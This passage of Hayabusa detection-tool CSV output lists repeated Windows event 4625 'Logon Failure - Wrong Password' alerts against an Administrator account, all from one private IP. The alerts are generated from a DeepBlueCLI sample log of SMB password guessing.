NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VDfa0UebgleQMK5U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BxTLJJsWs9dOc5JC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x7cKtymmsQJSM6zZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sbtC0srNyvkIHOSV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wPGlJ6ZjGSfUKrCf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Uw95Ema8vWlRXKy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hHTrBmhkjGLTNt2R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJeRVGKULJIo76aa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.622 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Kipf0Z2Tse2eWoxa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.672 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bnP7tmMJXDVzIDim : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CBeMt62oqlIICShT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dIfXRZQkKRJAw4er : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8wrqSJPALo5QtUnS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:29.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 81Mm67AdwpPJMCMm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.035 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Jwq5jXlMRU1SNLO5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d7OYj8ynCEl5dG9m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YzT8vF7ANYnjSRgd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m4eYIoww4uL6oYZu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.199 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DpO8L2Fky4zYwp2q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jGmxSy48sphENTiY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tQVAkjteLFK0hbyE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.330 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UMWKsQ8l0j9fZPfA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ct7xYUYH9sr7mva : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.423 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GBn0XxaPOZQokJ0Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.463 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nQELRxrGuXqkYgO3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.509 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5eT0mykgLNZQygq9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qMyIqRidF6oBdzog : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ULnnFcF98k9zpNTl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j5k02pcelZNGwF3u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qfcC6LqJqs0EeGjE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mXALYkkitmyAFq14 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zIqQmExq22WrW4md : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ydHqjdZhLMI9gjfj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.865 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IMSe45VZNPdovPbq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.910 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hiHlcR6qNGE0P7TK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iT3jPdHr89RqPlyd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:30.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0QFnABeYK39XEntR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5plMYSBQi5mKmdlk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.113 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TaxWckQUCMgWvCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 81xZ7iisEyTABmUm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.187 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qYiQ2xjMQFQwH2XY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eRN8e3yzZzxc2p3A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.275 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QCa6PN0C7XznvipG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.311 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hFqjIXbEb7eWUFUi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FkrVjLgnJZlIyXpk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2r5tyuIYijAXN5be : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AgjQNe9hQrLIETDn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KRNoInpFTsixZDIu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ladJUS6I0HMIwdef : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6oW63pJlVtjgn3YY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xKNu8b2To2Y1twUr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q9sN5xm3GytfmM7G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FtQQS61GYBm6WUUz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3WxxawZZMhNCGHxc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sKP8G2VgJlrr9LMR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvOsNQpk3c5p1FgK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.839 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H7oz7NPh5Z8UrDPW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.890 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VvzNFOLBlBv98Do4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8KJmYytO30Icc6Rb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.962 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zro3jLjFXWZ2o8VL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:31.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Z2J8VYeuxd9fKcG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pXMjOKLfMex7OmMv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cgbm3YeoGxCa22Il : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.123 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7MEstBFjiWhVE18 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y8Y2kDEiMZWf0znn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.213 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zBAFVgPIOyCvtdRs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s3pFhUcspF6lzQXN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 39LFXXW715pQoADC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: in4ewyxouUnxQzCQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zOtV8CLIU6Mcw2ty : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.412 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b8NJqimhGrg9uhTh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XEWLTOY9magV0h6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Di1MZsJx52Bi8E6k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 22MdB2QodynfibkF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qojej3YITXvXJ6Pe : IP Address: 192.168.198.149 : AuthPackage: 